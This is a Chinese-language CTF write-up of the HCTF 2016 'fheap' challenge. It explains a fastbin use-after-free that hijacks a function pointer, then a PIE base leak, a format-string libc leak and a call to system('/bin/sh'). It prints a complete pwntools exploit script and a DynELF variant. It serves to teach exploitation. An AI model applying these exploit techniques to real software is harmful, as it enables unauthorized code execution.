​ 堆漏洞利用相对栈,一般需要对程序更加细致的观察和对堆内存分配方式的熟练掌握,在此我会记录一些自己做过的堆利用相关题目。

HCTF 2016 fheap

​ 先按惯例上checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

可见防护挺严实的,初步推断可能需要通过堆攻击。检查程序逻辑,发现在创建字符串的部分,根据字符串长短,会以不同形式存储

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
printf("str:");
if ( read(0, &buf, nbytes) == -1 ){
puts("got elf!!");
exit(1);
}
nbytesa = strlen(&buf);
if ( nbytesa > 0xF ){
dest = (char *)malloc(nbytesa);
if ( !dest ){
puts("malloc faild!");
exit(1);
}
strncpy(dest, &buf, nbytesa);
*(_QWORD *)ptr = dest;
*((_QWORD *)ptr + 3) = sub_D6C; // 设置释放函数地址
} else {
strncpy(ptr, &buf, nbytesa);
*((_QWORD *)ptr + 3) = sub_D52; // 设置释放函数地址
}

其中ptr已在前面通过malloc的形式分配,需要注意的是,ptr实际上是一个结构体,上述代码中带偏移量的赋值是在设置结构体中的内容。

delete过程中的释放函数调用显然可以被我们利用。

1
2
3
4
5
6
7
8
9
10
if (*((_QWORD * ) & unk_2020C0 + 2 * v1 + 1)) {
printf("Are you sure?:");
read(0, &buf, 0x100uLL);
if (!strncmp(&buf, "yes", 3uLL)) {
(*(void (__fastcall **)(_QWORD, const char *)) (*((_QWORD * ) & unk_2020C0 + 2 * v1 + 1) + 24LL))( // 调用了创建结构体时的 ((_QWORD *)ptr + 3)
*((_QWORD * ) & unk_2020C0 + 2 * v1 + 1),
"yes");
*((_DWORD * ) & unk_2020C0 + 4 * v1) = 0;
}
}

因为我们可以看到,上述释放过程并不会真正抹去结构体中的地址/内容记录。只要恰当使用fastbin漏洞,就能实现劫持释放函数指针的效果。

试想,如果创建两个长度小于0xF的串,编号分别为01,再按顺序释放10,下一次再创建字符串时,我们就获得1所在块的完全控制权,示意图如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1. create 0
chunks: |0| (结构体总共32字节)
fastbin:
2. create 1
chunks: |0|1| (两个结构体总共64字节)
fastbin:
3. delete 1
chunks: |0|1*| (*代表已标记为被删除)
fastbin: |1|
4. delete 0
chunks: |0*|1*|
fastbin: |0|1|
3. create 0 (长度为 0x20)
chunks: |0|1*|
|_|1| (0 的首位指向块1的位置)
fastbin: || (fastbin 的`0`块先被分配给ptr, 继而`1`块分配用来存储字符串内容,此时0就指向了1)
4. delete 1
此时,程序被劫持到我们修改的`1`中的地址

找到了劫持方式,下面就要绕开PIE保护,不然我们无法控制程序的跳转位置,可以利用相对地址不变,先对低位进行修改,以此暴露地址。在审视代码以后,我们会发现,在0xd2d的位置有一个可以跳转的_puts

1
2
3
4
5
6
7
8
9
10
.text:0000000000000D24                 jmp     short loc_D3C
.text:0000000000000D26 ; --------------------------------------------------------------
.text:0000000000000D26
.text:0000000000000D26 loc_D26: ; CODE XREF: main+123↑j
.text:0000000000000D26 lea rdi, aInvalidCmd ; "Invalid cmd"
.text:0000000000000D2D call _puts
.text:0000000000000D32 jmp loc_C71
.text:0000000000000D37 ; --------------------------------------------------------------
.text:0000000000000D37
.text:0000000000000D37 loc_D37:

因此,我们可以写出以下payload:

1
2
3
4
5
6
7
8
9
10
create(0xa, 'a' * 0xa) # create 和 delete 函数均已在脚本中定义,下面会放出
create(0xa, 'b' * 0xa)
delete(1)
delete(0)
create(0x20, 0x18 * 'a' + '\x2d') # 覆盖释放函数地址的低位为`0x2d`
delete(1)
sh.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaa') # 接收 puts 的内容
base = sh.recvuntil('create')[:6][::-1].encode('hex')
base = int(base, 16)
base = int((hex(base / pow(16, 3)) + '000')[2:], 16) # 通过处理后获得 PIE 基址

有了基址,就可以在程序内部的任意位置跳转,但由于程序的plt表中没有system函数,因此要考虑通过libc相对偏移来跳转。

查看代码,发现0x10ee的位置调用了printf,可以用来进行泄露

1
2
3
4
5
6
.text:00000000000010DA                 mov     eax, [rbp+var_102C]
.text:00000000000010E0 mov esi, eax
.text:00000000000010E2 lea rdi, aTheStringIdIsD ; "The string id is %d\n"
.text:00000000000010E9 mov eax, 0
.text:00000000000010EE call _printf
.text:00000000000010F3 jmp short loc_1109

字符串删除函数中又存在一个栈上的buf可以利用

1
2
read(0, &buf, 0x100uLL);
if ( !strncmp(&buf, "yes", 3uLL) )

因此,只要通过printf暴露栈,理论上就能获得所有地址的内容。也可以轻易获取任意libc函数被解析后存储在got中的地址。

通过以下代码对puts函数的libc地址进行泄露(这里利用了先前获取的基址)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
printf_loc = base + 0x10ee # printf 函数的地址
puts_plt = base + 0x202030 # got 表中 puts 解析后的地址存放位置
def leak(ads):
delete(0)
create(0x20, 0x2 * 'a' + '%10$s' + 0x11 * 'e' + p64(printf_loc))
# 动态调试后发现 %10$s 是我们可以控制的字符串在栈上的相对位置
sh.recvuntil('3.quit\n')
sh.send('delete string')
sh.recvuntil('id:')
sh.sendline('1')
sh.recvuntil('sure?:')
sh.sendline('yes' + 0x5 * 'a' + p64(ads)) # 将要泄露的地址写在栈上
addr = sh.recvuntil('eeeeeeeeeeeeeeeee', drop = True)
addr = int(addr[2:][::-1].encode('hex'), 16) # 处理printf输出并转为地址形式
return addr

puts_loc = leak(puts_plt) # 取得puts的实际地址

然后,我们通过readelf获取libcputssystem的相对偏移:

1
2
3
4
5
6
7
8
9
10
11
12
phosphorus15@ubuntu:/lib/x86_64-linux-gnu$ readelf -s libc-2.23.so  | grep puts
186: 000000000006f690 456 FUNC GLOBAL DEFAULT 13 _IO_puts@@GLIBC_2.2.5
404: 000000000006f690 456 FUNC WEAK DEFAULT 13 puts@@GLIBC_2.2.5
475: 000000000010bbe0 1262 FUNC GLOBAL DEFAULT 13 putspent@@GLIBC_2.2.5
651: 000000000010d590 703 FUNC GLOBAL DEFAULT 13 putsgent@@GLIBC_2.10
1097: 000000000006e030 354 FUNC WEAK DEFAULT 13 fputs@@GLIBC_2.2.5
1611: 000000000006e030 354 FUNC GLOBAL DEFAULT 13 _IO_fputs@@GLIBC_2.2.5
2221: 00000000000782b0 95 FUNC WEAK DEFAULT 13 fputs_unlocked@@GLIBC_2.2.5
phosphorus15@ubuntu:/lib/x86_64-linux-gnu$ readelf -s libc-2.23.so | grep system
225: 0000000000138810 70 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.2.5
584: 0000000000045390 45 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1351: 0000000000045390 45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5

记录下相对位置,方便以后使用。

至此,我们已经掌握了system函数的地址,只需要进行跳转调用即可,因为被释放的字符串本身就是调用释放函数时的参数,我们可以直接将/bin/sh;写在字符串的开头部分。(此处一定要有分号,来与后面的对齐用字符隔开)

整个exp脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
import sys

sh = process("./fheap")

_libc_system = 0x45390 # libc 中的相对位置
_libc_puts = 0x6f690

def create(chunk_size,value): # 创建字符串
sh.recvuntil('3.quit\n')
sh.send('create string')
sh.recvuntil('string size:')
sh.sendline(str(chunk_size))
sh.recvuntil('str:')
sh.send(value)

def delete(index): # 删除字符串
sh.recvuntil('3.quit\n')
sh.send('delete string')
sh.recvuntil('id:')
sh.sendline(str(index))
sh.recvuntil('sure?:')
sh.sendline('yes')

create(0xa, 'a' * 0xa)
create(0xa, 'b' * 0xa)
delete(1)
delete(0)
create(0x20, 0x18 * 'a' + '\x2d') # puts
delete(1) # 调用 puts 暴露基址
sh.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaa')
base = sh.recvuntil('create')[:6][::-1].encode('hex')
base = int(base, 16)
base = int((hex(base / pow(16, 3)) + '000')[2:], 16)
printf_loc = base + 0x10ee
puts_plt = base + 0x202030
print hex(printf_loc) # 打印 printf 位置

def leak(ads):
delete(0)
create(0x20, 0x2 * 'a' + '%10$s' + 0x11 * 'e' + p64(printf_loc))
sh.recvuntil('3.quit\n')
sh.send('delete string')
sh.recvuntil('id:')
sh.sendline(str(1))
sh.recvuntil('sure?:')
sh.sendline('yes' + 0x5 * 'a' + p64(ads)) # padding to 8
addr = sh.recvuntil('eeeeeeeeeeeeeeeee', drop = True)
addr = int(addr[2:][::-1].encode('hex'), 16)
return addr

#gdb.attach(sh)
puts_loc = leak(puts_plt) # 暴露 puts 的实际地址
system_loc = puts_loc + (_libc_system - _libc_puts) # 用相对偏移计算 system地址

delete(0)
create(0x20, '/bin/sh;' + 0x10 * 'a' + p64(system_loc))
delete(1) # 调用system

sh.interactive()

运行脚本,获得shell。

当然,考虑到我们可以重复泄露,我们没有必要专门计算libc中的偏移,可以让DynELF自动帮我们找出system的位置,修改后的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def leak(ads):
delete(0)
create(0x20, 0x2 * 'a' + '%10$s' + 0x11 * 'e' + p64(printf_loc))
sh.recvuntil('3.quit\n')
sh.send('delete string')
sh.recvuntil('id:')
sh.sendline(str(1))
sh.recvuntil('sure?:')
sh.sendline('yes' + 0x5 * 'a' + p64(ads)) # padding to 8
data = sh.recvuntil('eeeeeeeeeeeeeeeee', drop = True)
data = data[2:]
print "%#x => %s" % (ads, (data or '').encode('hex'))
return data + '\x00' # 必须有 '\x00' 代表终止

elf = ELF("./fheap")
elf.address = base # 设置基址
dyn=DynELF(leak, elf = elf) # 构造 DynELF 对象
system_loc = dyn.lookup('system', 'libc') # 取得 system 的位置

恰当使用DynELF,在缺乏libc相关信息时能更方便快捷地进行泄露。